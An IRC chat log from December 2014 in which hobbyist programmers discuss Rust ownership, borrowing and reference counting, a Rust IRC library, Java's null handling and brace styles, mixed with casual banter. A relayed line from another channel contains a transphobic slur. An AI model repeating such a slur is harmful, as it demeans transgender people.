[2014-12-10T20:04:34-0500] <+LittleBobbyTables> It takes awhile to load
[2014-12-10T20:04:43-0500] <+LittleBobbyTables> You have to erase the middle though, I think
[2014-12-10T20:05:18-0500] <@awe> I did.
[2014-12-10T20:05:19-0500] <@awe> Nothing happens.
[2014-12-10T20:05:21-0500] <@awe> Maybe it requires flash?
[2014-12-10T20:06:04-0500] <+LittleBobbyTables> Dunno
[2014-12-10T20:08:12-0500] <+LittleBobbyTables> In C++14 you just write "auto auto(auto auto) { auto; }".
[2014-12-10T20:08:12-0500] <+LittleBobbyTables> The compiler infers the rest from context.
[2014-12-10T20:09:05-0500] <@awe> Required flash.
[2014-12-10T20:09:06-0500] <@awe> Did not win.
[2014-12-10T20:09:09-0500] <@awe> LittleBobbyTables: lol
[2014-12-10T20:18:37-0500] <@awe> Tamini: I apologize to the guy
[2014-12-10T20:18:45-0500] <@awe> Tamini: he responds by saying "hey, so, you should contribute to cabal or GHC"
[2014-12-10T20:18:53-0500] <+Tamini> :P
[2014-12-10T20:23:34-0500] <@awe> Tamini: "I'm definitely ill-equipped to contribute to it."
[2014-12-10T20:23:56-0500] <@awe> Tamini: "No, seriously, you'll be fine. The type system will work out the tricky bits."
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[2014-12-10T20:24:57-0500] <+Tamini> heh
[2014-12-10T20:26:24-0500] <@awe> That was the case for the tiny contribution I made to Rust.
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[2014-12-10T23:25:11-0500] <nezorg> y so quiet
[2014-12-10T23:28:13-0500] <+LittleBobbyTables> cuz
[2014-12-10T23:28:14-0500] <+LittleBobbyTables> u dum e
[2014-12-10T23:28:31-0500] <+Tamini> becuase
[2014-12-10T23:28:36-0500] <+Tamini> you arent talking, obviously
[2014-12-10T23:28:42-0500] <+Tamini> you always start the most controversial discussions
[2014-12-10T23:28:46-0500] <+Tamini> and awe always starts the technical ones :P
[2014-12-10T23:29:10-0500] <+LittleBobbyTables> gais
[2014-12-10T23:29:11-0500] <+LittleBobbyTables> kingmoonracer
[2014-12-10T23:29:13-0500] <+LittleBobbyTables> toy or not
[2014-12-10T23:29:54-0500] <@awe> Tamini: oh, do you want me to explain lifetimes now?
[2014-12-10T23:31:40-0500] <+Tamini> sure, now's as good of a time as any
[2014-12-10T23:34:59-0500] <@awe> Okay, so, in Rust, anything that creates a resource owns that resource.
[2014-12-10T23:35:33-0500] <@awe> As the owner of a resource, you control when it's deallocated (i.e. at the end of the scope unless you pass it somewhere else), and you can lend that resource to others.
[2014-12-10T23:35:58-0500] <@awe> mutable lending can happen to exactly one place at a time (and no immutable borrows can be open at this time)
[2014-12-10T23:36:14-0500] <@awe> and you can make as many immutable lends as you want
[2014-12-10T23:36:39-0500] <@awe> if something is lent immutably, you can't mutate it until that loan is over
[2014-12-10T23:36:47-0500] <@awe> and if something is lent mutably, you can't do shit with it until that loan is over.
[2014-12-10T23:37:13-0500] <@awe> So, the length of time that someone is borrowing a pointer to this resource is called a lifetime.
[2014-12-10T23:37:47-0500] <@awe> So, those rules I defined are basically the rules of locking.
[2014-12-10T23:37:50-0500] <+Tamini> oh, wait
[2014-12-10T23:37:55-0500] <+Tamini> this reminds me of fancy cache
[2014-12-10T23:38:05-0500] <@awe> So, a normal lock probably does the same thing.
[2014-12-10T23:38:18-0500] <@awe> Except it blocks until the lock is able to be acquired
[2014-12-10T23:38:25-0500] <@awe> (unless it's a non-blocking lock and then other stuff happens)
[2014-12-10T23:38:39-0500] <@awe> The difference is that in Rust, this is enforced by a borrow checker at compile-time.
[2014-12-10T23:38:53-0500] <@awe> It's (theoretically) impossible to ever have concurrent writes.
[2014-12-10T23:38:58-0500] <@awe> A program that does that is not a valid Rust program.
[2014-12-10T23:40:40-0500] <@awe> So, you can opt into locks and mutexes.
[2014-12-10T23:40:49-0500] <@awe> But that's very explicit.
[2014-12-10T23:40:59-0500] <+Tamini> wait i feel like
[2014-12-10T23:41:07-0500] <+Tamini> you just skipped something
[2014-12-10T23:41:07-0500] <@awe> Otherwise, you know that concurrent modifications of something simply cannot happen.
[2014-12-10T23:41:21-0500] <@awe> Well, I guess I sort of did.
[2014-12-10T23:41:34-0500] <@awe> Rust provides faculties to opt-out of the safety it provides.
[2014-12-10T23:41:47-0500] <@awe> unsafe can be used to do memory-unsafe things.
[2014-12-10T23:42:08-0500] <+Tamini> okay
[2014-12-10T23:42:28-0500] <@awe> You can sort of opt out of borrow semantics through things like mutexes, read-write locks, counted references, atomically counted references, etc.
[2014-12-10T23:42:54-0500] <@awe> The idea is that sometimes you need to do things differently, but when you do so, it has to be very explicit.
[2014-12-10T23:43:08-0500] <@awe> So, for example, in my IRC library, the reader and writer for the streams are in mutexes.
[2014-12-10T23:43:18-0500] <+Tamini> what are mutexes, exactly?
[2014-12-10T23:44:07-0500] <@awe> A mutex is a mutual exclusion tool.
[2014-12-10T23:44:16-0500] <@awe> Basically, it allows only one person to have the object a time.
[2014-12-10T23:44:35-0500] <@awe> a read-write lock actually follows the same rules as borrows.
[2014-12-10T23:44:49-0500] <@awe> except instead of not compiling, it just blocks until it can make the borrow.
[2014-12-10T23:46:05-0500] <@awe> a countered reference (Rc in Rust) is basically just an immutable pointer with a counter that shares ownership.
[2014-12-10T23:46:10-0500] <@awe> counted*
[2014-12-10T23:46:38-0500] <+Tamini> hmm
[2014-12-10T23:46:39-0500] <+Tamini> okay
[2014-12-10T23:46:49-0500] <@awe> the object in a Rc is destroyed when there are no remaining references to it.
[2014-12-10T23:47:02-0500] <@awe> to make a new reference, you clone the Rc.
[2014-12-10T23:47:12-0500] <@awe> this is why I said it's only sort of opted out of borrow semantics.
[2014-12-10T23:47:18-0500] <@awe> The Rcs actually obey borrow semantics
[2014-12-10T23:47:29-0500] <+Tamini> ooh
[2014-12-10T23:47:29-0500] <@awe> Which is why you have to clone them to get a new reference elsewhere
[2014-12-10T23:47:38-0500] <@awe> but the thing is that cloning them is cheap
[2014-12-10T23:47:45-0500] <@awe> It's just increasing a counter and giving a reference.
[2014-12-10T23:48:03-0500] <@awe> So, you can do that all you want.
[2014-12-10T23:48:31-0500] <@awe> atomically counted references (Arc in Rust) is the same thing as an Rc but it does atomic counting which means that it's thread-safe.
[2014-12-10T23:48:47-0500] <@awe> the reason why Rcs exist though is because an Arc has more overhead because atomic counting.
[2014-12-10T23:52:35-0500] <@awe> A better way to put it would be that Rcs share ownership.
[2014-12-10T23:52:45-0500] <@awe> Rather than saying that they sort ofopt out of borrow semantics.
[2014-12-10T23:57:15-0500] <@awe> [23:56:35] 	pickles (pickles@fyrechat-8BAFE26F.rcmdva.fios.verizon.net) joined the channel
[2014-12-10T23:57:15-0500] <@awe> [23:56:48]  <&Bui>	I don't want to go through tranny from space's account.
[2014-12-10T23:57:15-0500] <@awe> [23:56:49]  <awe>	pickles: hi, somebody running my example bot?
[2014-12-10T23:57:15-0500] <@awe> [23:56:49]  <pickles>	Hi!
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[2014-12-10T23:57:17-0500] <@awe> topkek
[2014-12-10T23:57:37-0500] <+Tamini> ol
[2014-12-10T23:58:26-0500] <@awe> I never even thought about that happening.
[2014-12-10T23:58:44-0500] <@awe> But all of the examples are set up to connect to that channel.
[2014-12-10T23:59:01-0500] <+Tamini> heh
[2014-12-11T00:07:13-0500] <@awe> Tamini: https://github.com/aaronweiss74/irc/commit/eb091a0b583419724d3c2dcf6b2dd88ca0f79237
[2014-12-11T00:07:16-0500] <@awe> look at that sexy diff
[2014-12-11T00:07:30-0500] <+LittleBobbyTables> You're a sexy diff
[2014-12-11T00:07:46-0500] <@awe> I made it so simple and pretty!
[2014-12-11T00:07:58-0500] <+Tamini> hehe
[2014-12-11T00:08:05-0500] <@awe> irc_server.iter().map(|m| print!("{}", m.into_string())).count();
[2014-12-11T00:08:15-0500] <@awe> That will print every message.
[2014-12-11T00:08:17-0500] <+Tamini> so cue
[2014-12-11T00:08:19-0500] <+Tamini> cute*
[2014-12-11T00:22:42-0500] <benwaffle> rust?
[2014-12-11T00:22:55-0500] <@awe> benwaffle: yah.
[2014-12-11T00:22:55-0500] <bob_twinkles> awe: and there's no way in hell you'll know what that does in a month =P
[2014-12-11T00:23:04-0500] <@awe> bob_twinkles: yes I will?
[2014-12-11T00:23:07-0500] <@awe> bob_twinkles: that's super idiomatic.
[2014-12-11T00:23:25-0500] <@awe> I'm mapping over an iterator.
[2014-12-11T00:23:56-0500] <bob_twinkles> eh, rust syntax made that look more complicated
[2014-12-11T00:24:41-0500] <@awe> irc_server.iter() gets the iterator for the server map maps a function over the iterator, the function is |m| print!("{}", m.into_string())
[2014-12-11T00:24:54-0500] <@awe> so, it takes a variable m and prints it's into_string()
[2014-12-11T00:25:05-0500] <@awe> I throw in the .count() because Rust iterators are lazy.
[2014-12-11T00:25:12-0500] <@awe> So, I need to run through the whole iterator.
[2014-12-11T00:25:30-0500] <@awe> count does exactly that and returns the number of elements in the iterator.
[2014-12-11T00:25:52-0500] <benwaffle> so what is the final output?
[2014-12-11T00:25:55-0500] <@awe> Because the iterator is networked, it blocks on next() and therefore this will just keep running until a timeout.
[2014-12-11T00:25:57-0500] <@awe> Nothing.
[2014-12-11T00:25:59-0500] <@awe> well
[2014-12-11T00:26:07-0500] <benwaffle> what is it supposed to do
[2014-12-11T00:26:08-0500] <@awe> It prints whatever the iterator receives.
[2014-12-11T00:26:19-0500] <@awe> It's supposed to do nothing other than print the messages from the iterator.
[2014-12-11T00:26:25-0500] <@awe> Which is what it does.
[2014-12-11T00:26:29-0500] <benwaffle> and what does the iterator do...?
[2014-12-11T00:26:46-0500] <benwaffle> does it just queue up any data received?
[2014-12-11T00:27:20-0500] <@awe> Well, the iterator is an entire library.
[2014-12-11T00:27:28-0500] <+LittleBobbyTables> Ugh
[2014-12-11T00:27:29-0500] <@awe> This specific iterator, anyway.
[2014-12-11T00:27:32-0500] <+LittleBobbyTables> I really hate my laptop
[2014-12-11T00:27:36-0500] <+LittleBobbyTables> After having my computer
[2014-12-11T00:27:39-0500] <benwaffle> what is this iterator though
[2014-12-11T00:27:48-0500] <benwaffle> i just came in the middle of the conversation
[2014-12-11T00:27:49-0500] <+LittleBobbyTables> I'm having mixed feelings about not getting an ssd
[2014-12-11T00:27:50-0500] <@awe> It's an iterator over IRC messages.
[2014-12-11T00:27:55-0500] <@awe> LittleBobbyTables: you need one in 2014.
[2014-12-11T00:28:05-0500] <+LittleBobbyTables> Yeah but
[2014-12-11T00:28:06-0500] <benwaffle> so you're printing each one?
[2014-12-11T00:28:08-0500] <@awe> Yes
[2014-12-11T00:28:09-0500] <+LittleBobbyTables> Then when I go to my laptop
[2014-12-11T00:28:12-0500] <@awe> Do you want to see some output?
[2014-12-11T00:28:13-0500] <+LittleBobbyTables> It feels THAT much slower
[2014-12-11T00:28:14-0500] <+LittleBobbyTables> So it's dumb.
[2014-12-11T00:28:27-0500] <benwaffle> can you do `iter foreach print`
[2014-12-11T00:28:45-0500] <@awe> No.
[2014-12-11T00:28:49-0500] <@awe> Well.
[2014-12-11T00:28:51-0500] <@awe> Not exactly like that.
[2014-12-11T00:28:58-0500] <@awe> The old code was this:
[2014-12-11T00:29:15-0500] <@awe> for m in server.iter() { print!("{}", m) }
[2014-12-11T00:29:19-0500] <@awe> erm
[2014-12-11T00:29:20-0500] <@awe> m.into_string()
[2014-12-11T00:30:08-0500] <@awe> The nice thing about iterators in Rust is that they have tons of sugar.
[2014-12-11T00:30:17-0500] <@awe> There's a lot of ways to express similar things.
[2014-12-11T00:30:59-0500] <@awe> I can also choose to throw out messages but still do all the processing that happens internally by the library.
[2014-12-11T00:31:09-0500] <@awe> for m in server.iter() { }
[2014-12-11T00:31:10-0500] <@awe> or
[2014-12-11T00:31:16-0500] <@awe> server.iter().count()
[2014-12-11T00:31:46-0500] <@awe> So, if I wanted to write a bot that loads a configuration, connects to a server, and just sits, tracks users, and responds to pings
[2014-12-11T00:31:48-0500] <@awe> it'd be two lines:
[2014-12-11T00:32:00-0500] <@awe> let server = IrcServer::new("config.json").unwrap();
[2014-12-11T00:32:03-0500] <@awe> server.iter().count();
[2014-12-11T00:32:20-0500] <benwaffle> I'm going to write an event-based irc bot in scala
[2014-12-11T00:33:11-0500] <@awe> Events are cool.
[2014-12-11T00:33:15-0500] <@awe> They're not idiomatic Rust though.
[2014-12-11T00:33:31-0500] <@awe> My friend is writing an F# IRC library with an event model.
[2014-12-11T00:33:37-0500] <benwaffle> i don't know any rust
[2014-12-11T00:34:11-0500] <benwaffle> i'm going to go through a coursera course on reactive programming in scala
[2014-12-11T00:34:22-0500] <@awe> Rust is really cool.
[2014-12-11T00:34:24-0500] <@awe> I'd recommend learning it.
[2014-12-11T00:34:32-0500] <@awe> I think it's going to takeoff.
[2014-12-11T00:34:33-0500] <benwaffle> i'm planning on going through the guide
[2014-12-11T00:34:37-0500] <benwaffle> also go's tutorial
[2014-12-11T00:37:45-0500] <+Tamini> benwaffle: scala is cool :O
[2014-12-11T00:37:54-0500] <@awe> Scala is...
[2014-12-11T00:37:58-0500] <@awe> Unfortunately a mess.
[2014-12-11T00:38:04-0500] <@awe> I blame the JVM primarily.
[2014-12-11T00:38:08-0500] <@awe> Not that the JVM isn't awesome.
[2014-12-11T00:38:14-0500] <benwaffle> how is it the jvm's fault
[2014-12-11T00:38:29-0500] <+LittleBobbyTables> Because Java, obviously.
[2014-12-11T00:38:34-0500] <benwaffle> i'm just waiting for 1 of the 2 compiler forks to fix everything
[2014-12-11T00:38:35-0500] <@awe> Maybe it's not the JVM's fault. I thought some of the weird design decisions were because of the JVM though.
[2014-12-11T00:38:44-0500] <bob_twinkles> java isn't even that bad
[2014-12-11T00:38:51-0500] <benwaffle> true
[2014-12-11T00:38:52-0500] <@awe> Erm, well.
[2014-12-11T00:38:57-0500] <@awe> Java can be really bad.
[2014-12-11T00:39:05-0500] <@awe> For example, Boolean.
[2014-12-11T00:39:07-0500] <bob_twinkles> so can any language
[2014-12-11T00:39:09-0500] <benwaffle> java programmers can be really bad
[2014-12-11T00:39:14-0500] <@awe> Let's open up a question to the room.
[2014-12-11T00:39:19-0500] <@awe> How many states does a Boolean represent in Java?
[2014-12-11T00:39:35-0500] <benwaffle> a Boolean or boolean :P
[2014-12-11T00:39:37-0500] <@awe> Boolean.
[2014-12-11T00:40:09-0500] <benwaffle> 3? true, false, null?
[2014-12-11T00:40:14-0500] <bob_twinkles> infinity
[2014-12-11T00:40:17-0500] <@awe> Yes.
[2014-12-11T00:40:18-0500] <@awe> Three.
[2014-12-11T00:40:21-0500] <@awe> WHY JAVA WHY?
[2014-12-11T00:40:29-0500] <benwaffle> you have boolean
[2014-12-11T00:40:31-0500] <@awe> I know.
[2014-12-11T00:40:43-0500] <benwaffle> it's generic's fault
[2014-12-11T00:40:55-0500] <@awe> They added Optional in Java 8.
[2014-12-11T00:40:58-0500] <@awe> Guess how many states that represents?
[2014-12-11T00:41:04-0500] <@awe> The answer is three.
[2014-12-11T00:41:07-0500] <@awe> Blegh.
[2014-12-11T00:41:10-0500] <benwaffle> scala> List(true, false)
[2014-12-11T00:41:10-0500] <benwaffle> res0: List[Boolean] = List(true, false)
[2014-12-11T00:41:10-0500] <benwaffle> scala> List(true, false, null)
[2014-12-11T00:41:10-0500] <benwaffle> res1: List[Any] = List(true, false, null)
[2014-12-11T00:41:25-0500] <@awe> Thank you, based Scala.
[2014-12-11T00:41:34-0500] <@awe> It's at least an improvement.
[2014-12-11T00:41:44-0500] <@awe> Null should not exist tohugh.
[2014-12-11T00:41:45-0500] <@awe> though*
[2014-12-11T00:41:55-0500] <benwaffle> at all?
[2014-12-11T00:41:57-0500] <@awe> Yeah.
[2014-12-11T00:42:05-0500] <benwaffle> scala aims to be compatible with java
[2014-12-11T00:42:07-0500] <benwaffle> and object-oriented
[2014-12-11T00:42:08-0500] <@awe> Oh, I know.
[2014-12-11T00:42:17-0500] <@awe> That's why I said Scala is a mess.
[2014-12-11T00:42:21-0500] <benwaffle> null has to exist in C
[2014-12-11T00:42:28-0500] <benwaffle> and I have to sleep....
[2014-12-11T00:42:33-0500] <@awe> Yes, it has to exist in C.
[2014-12-11T00:43:00-0500] <@awe> But Java doesn't need null.
[2014-12-11T00:43:08-0500] <@awe> I mean, it does because of poor design decisions.
[2014-12-11T00:43:12-0500] <@awe> But there's no reason that the language ought to have null.
[2014-12-11T00:43:20-0500] <benwaffle> well
[2014-12-11T00:43:23-0500] <benwaffle> what if you have a linked list
[2014-12-11T00:43:29-0500] <benwaffle> class Node { Node next; }
[2014-12-11T00:43:35-0500] <benwaffle> next needs to be null
[2014-12-11T00:44:06-0500] <@awe> enum List { Empty; Cons T List }
[2014-12-11T00:44:13-0500] <@awe> It does not.
[2014-12-11T00:44:23-0500] <benwaffle> that's how scala does it
[2014-12-11T00:44:29-0500] <@awe> That is vastly superior.
[2014-12-11T00:44:30-0500] <@awe> Why?
[2014-12-11T00:44:36-0500] <benwaffle> object Empty extends Node
[2014-12-11T00:44:38-0500] <@awe> Because it expresses it in the type system.
[2014-12-11T00:44:39-0500] <benwaffle> (singleton)
[2014-12-11T00:44:57-0500] <@awe> Right. So, null doesn't need to exist.
[2014-12-11T00:45:12-0500] <@awe> You can replace the few legitimate reasons to have null with a meaningful state that can be seen in the type system.
[2014-12-11T00:47:31-0500] <benwaffle> ooh, akka (a concurrent/io library for scala) has network streams
[2014-12-11T00:48:07-0500] <bob_twinkles> part of the goal of java was for it to be familiar to C and C++ programmers though
[2014-12-11T00:48:28-0500] <benwaffle> it will never be changed
[2014-12-11T00:48:39-0500] <benwaffle> they will never make significant changes to the jvm
[2014-12-11T00:48:56-0500] <bob_twinkles> who are used to dealing with null and not having a powerful type system to enforce such things
[2014-12-11T00:49:16-0500] <@awe> bob_twinkles: I'm aware.
[2014-12-11T00:49:18-0500] <bob_twinkles> well you can do like Pair<Result*, Error*> but it's bad
[2014-12-11T00:49:23-0500] <@awe> bob_twinkles: I think that's a pretty bad design decision. :p
[2014-12-11T00:49:32-0500] <benwaffle> also guys get 3 months of spotify premium for $1
[2014-12-11T00:49:32-0500] <bob_twinkles> but a good buisness one
[2014-12-11T00:49:38-0500] <bob_twinkles> and sun sold java tech for $$$
[2014-12-11T00:49:38-0500] <@awe> Yes.
[2014-12-11T00:49:39-0500] <@awe> Agreed.
[2014-12-11T00:49:44-0500] <@awe> Great business decision.
[2014-12-11T00:50:01-0500] <@awe> But I don't choose programming languages based on who made the best decision in selling their language.
[2014-12-11T00:50:19-0500] <@awe> Rust pulled syntax from C++ for the same reason.
[2014-12-11T00:50:26-0500] <@awe> Do I like it? Not really.
[2014-12-11T00:50:33-0500] <@awe> Will I live with it for the solid tech? Absolutely.
[2014-12-11T00:50:56-0500] <@awe> Once the compiler plugin architecture is matured enough, I think you'd be able to completely rewrite the parser though.
[2014-12-11T00:51:11-0500] <+Tamini> wuut
[2014-12-11T00:51:27-0500] <+Tamini> benwaffle: ?
[2014-12-11T00:51:27-0500] <@awe> So, maybe someday, we can improve Rust's syntax.
[2014-12-11T00:51:51-0500] <@awe> Tamini: there's a feature that allows you to plug into the compiler in your program.
[2014-12-11T00:53:05-0500] <+Tamini> awe, hmm?
[2014-12-11T00:53:13-0500] <@awe> I assumed that was what your wuut was about?
[2014-12-11T00:54:03-0500] <+LittleBobbyTables> awe: what brace style?
[2014-12-11T00:54:10-0500] <+Tamini> it was about
[2014-12-11T00:54:11-0500] <@awe> LittleBobbyTables: do I use?
[2014-12-11T00:54:11-0500] <+Tamini> spotify
[2014-12-11T00:54:12-0500] <+Tamini> lol
[2014-12-11T00:54:15-0500] <@awe> Tamini: o ok
[2014-12-11T00:54:18-0500] <@awe> Tamini: nevermind.
[2014-12-11T00:54:47-0500] <+LittleBobbyTables> Yeah, awe
[2014-12-11T00:54:55-0500] <@awe> if self.is_condition() {
[2014-12-11T00:55:01-0500] <@awe>     // do stuff
[2014-12-11T00:55:02-0500] <@awe> }
[2014-12-11T00:55:07-0500] <+Tamini> oh you dont like to
[2014-12-11T00:55:11-0500] <+Tamini> line up your brackets? o-o
[2014-12-11T00:55:12-0500] <@awe> No.
[2014-12-11T00:55:15-0500] <+LittleBobbyTables> if a==b {
[2014-12-11T00:55:18-0500] <+LittleBobbyTables>     // do stuff
[2014-12-11T00:55:22-0500] <+LittleBobbyTables> } else {
[2014-12-11T00:55:22-0500] <@awe> a == b
[2014-12-11T00:55:24-0500] <@awe> I space my operators.
[2014-12-11T00:55:26-0500] <+LittleBobbyTables>     // other stuff?
[2014-12-11T00:55:27-0500] <+LittleBobbyTables> }
[2014-12-11T00:55:31-0500] <@awe> if a == b {
[2014-12-11T00:55:34-0500] <@awe>     // do stuff
[2014-12-11T00:55:41-0500] <@awe> } else if a > b {
[2014-12-11T00:55:45-0500] <@awe>      // do other stuff
[2014-12-11T00:55:47-0500] <@awe> } else {
[2014-12-11T00:55:50-0500] <@awe>     // give up
[2014-12-11T00:55:51-0500] <@awe> }
[2014-12-11T00:57:37-0500] <+LittleBobbyTables> So nested elses, nice
[2014-12-11T00:58:55-0500] <@awe> I do not understand any other style of braces honestly.
[2014-12-11T00:59:20-0500] <@awe> LittleBobbyTables: and one liners, I do like this: if a == b { /* do stuff */ }
[2014-12-11T00:59:25-0500] <+LittleBobbyTables> I can understand some others
[2014-12-11T00:59:54-0500] <+LittleBobbyTables> Like
[2014-12-11T01:00:04-0500] <+LittleBobbyTables> if a == b {
[2014-12-11T01:00:07-0500] <+LittleBobbyTables> err no
[2014-12-11T01:00:11-0500] <+LittleBobbyTables> if a == b
[2014-12-11T01:00:13-0500] <+LittleBobbyTables>     {
[2014-12-11T01:00:16-0500] <+LittleBobbyTables>         //do stuff
[2014-12-11T01:00:18-0500] <+LittleBobbyTables>     }
[2014-12-11T01:00:45-0500] <@awe> Ew.
[2014-12-11T01:00:47-0500] <@awe> Very no.
[2014-12-11T01:01:02-0500] <@awe> It's even worse when you indent the braces.
[2014-12-11T01:16:31-0500] <+LittleBobbyTables> So apparently
[2014-12-11T01:17:51-0500] <+LittleBobbyTables> My computer can support 7 monitors natively, non daisy chained.
[2014-12-11T01:22:36-0500] <@awe> LOL.
[2014-12-11T01:22:38-0500] <@awe> LittleBobbyTables: do it.
[2014-12-11T01:22:41-0500] <@awe> LittleBobbyTables: you have to.
[2014-12-11T01:22:49-0500] <+LittleBobbyTables> Buy me the monitors.
[2014-12-11T01:23:00-0500] <+LittleBobbyTables> 3 of them have to be displayport
[2014-12-11T01:23:00-0500] <@awe> Lol, no.
[2014-12-11T01:23:04-0500] <+LittleBobbyTables> Two have to be HDMI
[2014-12-11T01:23:14-0500] <+LittleBobbyTables> One has to be DVI
[2014-12-11T01:23:18-0500] <+LittleBobbyTables> The other has to be thunderbolt.
[2014-12-11T01:26:13-0500] <@awe> How about...
[2014-12-11T01:26:14-0500] <@awe> No.
[2014-12-11T01:26:26-0500] <+LittleBobbyTables> How about I'll buy you Starbound if you do.
[2014-12-11T01:30:13-0500] <@awe> lol.
[2014-12-11T01:30:17-0500] <@awe> Somehow that doesn't seem like a fair deal.
[2014-12-11T01:30:27-0500] <+Tamini> something tells me :P
[2014-12-11T01:30:48-0500] <+Tamini> oh, guys, advice
[2014-12-11T01:30:57-0500] <+Tamini> what do i get a guy for secret santa if his wishlist says "math"
[2014-12-11T01:30:59-0500] <+Tamini> -__________________-
[2014-12-11T01:31:30-0500] <+LittleBobbyTables> mofos account
[2014-12-11T01:32:05-0500] <@awe> Tamini: Ask Ernest what to get him.
[2014-12-11T01:33:53-0500] <+Tamini> lol
[2014-12-11T01:33:55-0500] <+Tamini> ernest isnt hereee
[2014-12-11T01:34:36-0500] <@awe> Sorry!
[2014-12-11T01:34:44-0500] <+Tamini> nyeh
[2014-12-11T01:35:01-0500] <+Tamini> i'm looking for recommendations on a good math book or something :/
[2014-12-11T01:35:54-0500] <@awe> That's why you should ask Ernest.
[2014-12-11T01:38:00-0500] <+Tamini> i know
[2014-12-11T01:45:33-0500] <+LittleBobbyTables> "Hey guys, what's the difference between G Skill Ares and Ripjaw?"
[2014-12-11T01:45:42-0500] <+LittleBobbyTables> Me: "One's a god, the other is maybe a mouth"
[2014-12-11T01:45:55-0500] <+LittleBobbyTables> Him: "Which one's the good one then? Ares?.......... wait. I got it"
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[2014-12-11T01:55:09-0500] <+LittleBobbyTables> 6:54 AM  → alok- joined  ⇐ guardian00 quit  
[2014-12-11T01:55:09-0500] <+LittleBobbyTables> 6:54 AM <alok-> hey guise
[2014-12-11T01:55:26-0500] <+LittleBobbyTables> Anyway, bed time.
[2014-12-11T01:55:35-0500] <+LittleBobbyTables> Good night awe and Tamini_ 
[2014-12-11T01:55:47-0500] <Tamini_> good night friend
[2014-12-11T01:55:49-0500] <@awe> Good night, LittleBobbyTables
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[2014-12-11T07:44:43-0500] <The_Master> .active
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 1, N 1).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-11T07:44:43-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
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[2014-12-11T18:40:57-0500] <+ubuntor> https://github.com/gchp/iota
[2014-12-11T18:42:54-0500] <@awe> ubuntor: if only syntax-highlighting.
[2014-12-11T18:43:02-0500] <+hardmath123> and vim keybindings
[2014-12-11T18:43:08-0500] <@awe> I don't need vim keybindings.
[2014-12-11T18:43:49-0500] <+ubuntor> it's a good start tho
[2014-12-11T18:43:50-0500] <@awe> There's an issue open for vim modal though.
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[2014-12-11T22:03:40-0500] <alokpathy> Aaand I can't connect on IRCCloud again .-.
[2014-12-11T22:04:42-0500] <+Tamini> aw
[2014-12-11T22:04:49-0500] <+Tamini> apothy did you get into college yet
[2014-12-11T22:04:54-0500] <+Tamini> or is that not a question im allowed to ask
[2014-12-11T22:05:33-0500] <@awe> Hyper: I'm trying to convince people on #rust that we need UFCS.
[2014-12-11T22:05:47-0500] <@awe> Hyper: So, we have a UFCS RFC being implemented but it only goes one way (therefore is not uniform...)
[2014-12-11T22:05:58-0500] <@awe> Hyper: It allows methods to be called like functions.
[2014-12-11T22:06:04-0500] <@awe> Hyper: It won't allow the other way.
[2014-12-11T22:06:06-0500] <Hyper> wait what
[2014-12-11T22:06:13-0500] <alokpathy> Tamini: Strictly speaking, yes.
[2014-12-11T22:06:13-0500] <Hyper> that's the most useless part of UFCS
[2014-12-11T22:06:15-0500] <alokpathy> I got into Rutgers
[2014-12-11T22:06:19-0500] <alokpathy> I haven't had any other decisions.
[2014-12-11T22:06:21-0500] <@awe> We have a use for it in Rust.
[2014-12-11T22:06:27-0500] <@awe> A fairly well-defined use, actually.
[2014-12-11T22:06:31-0500] <Hyper> x.y(z) -> y(x, z) is what's really useful
[2014-12-11T22:06:40-0500] <@awe> I know.
[2014-12-11T22:06:42-0500] <@awe> That's what I'm telling them.
[2014-12-11T22:06:44-0500] <Hyper> because you can use function pipelines
[2014-12-11T22:07:16-0500] <Hyper> so think like (SOME RANGE TYPE).map(function).filter(another  function).sum or something
[2014-12-11T22:07:21-0500] <+Tamini> alokpathy: yay
[2014-12-11T22:07:52-0500] <@awe> Hyper: but those are defined by Traits in Rust.
[2014-12-11T22:07:56-0500] <alokpathy> A kid in our grade got into Cornell today
[2014-12-11T22:08:00-0500] <alokpathy> and another one got into Columbia.
[2014-12-11T22:08:00-0500] <@awe> Basically, they're argument is that it subverts traits.
[2014-12-11T22:08:04-0500] <@awe> their*
[2014-12-11T22:08:06-0500] <+Tamini> lol
[2014-12-11T22:08:13-0500] <+Tamini> yeah, a lot of my friends made duke
[2014-12-11T22:08:16-0500] <Hyper> awe: do you need to declare trait in the object?
[2014-12-11T22:08:23-0500] <@awe> No.
[2014-12-11T22:08:26-0500] <alokpathy> Tamini: I only know one person who's applying to Duke xD
[2014-12-11T22:08:28-0500] <+Tamini> :P
[2014-12-11T22:08:30-0500] <+Tamini> it came out like
[2014-12-11T22:08:31-0500] <+Tamini> riight now
[2014-12-11T22:08:49-0500] <@awe> Basically, I can have some struct Foo in some file somewhere
[2014-12-11T22:08:51-0500] <@awe> and then do 
[2014-12-11T22:08:56-0500] <@awe> trait FooTrait { ... }
[2014-12-11T22:09:02-0500] <@awe> impl FooTrait for Foo { ... }
[2014-12-11T22:09:45-0500] <Hyper> hrm
[2014-12-11T22:09:50-0500] <Hyper> I can see their point
[2014-12-11T22:09:51-0500] <Hyper> however
[2014-12-11T22:09:56-0500] <Hyper> so much syntax
[2014-12-11T22:10:28-0500] <Hyper> for instance, a simple example I used earlier was 123.iota to get the range [0, 123)
[2014-12-11T22:10:49-0500] <Hyper> it's a weird example
[2014-12-11T22:10:50-0500] <Hyper> but like
[2014-12-11T22:11:08-0500] <Hyper> hrm
[2014-12-11T22:11:20-0500] <Hyper> I'd argue that this is simpler to compile for one thing
[2014-12-11T22:12:28-0500] <Hyper> I'm trying to express with words why I think it's useful
[2014-12-11T22:12:50-0500] <alokpathy> Tamini: Also, hackBCA conflicts with CMMC
[2014-12-11T22:12:51-0500] <alokpathy> so oops
[2014-12-11T22:13:09-0500] <+Tamini> cmmc?
[2014-12-11T22:13:43-0500] <+Tamini> do you mean hmmt or is this like a new thing
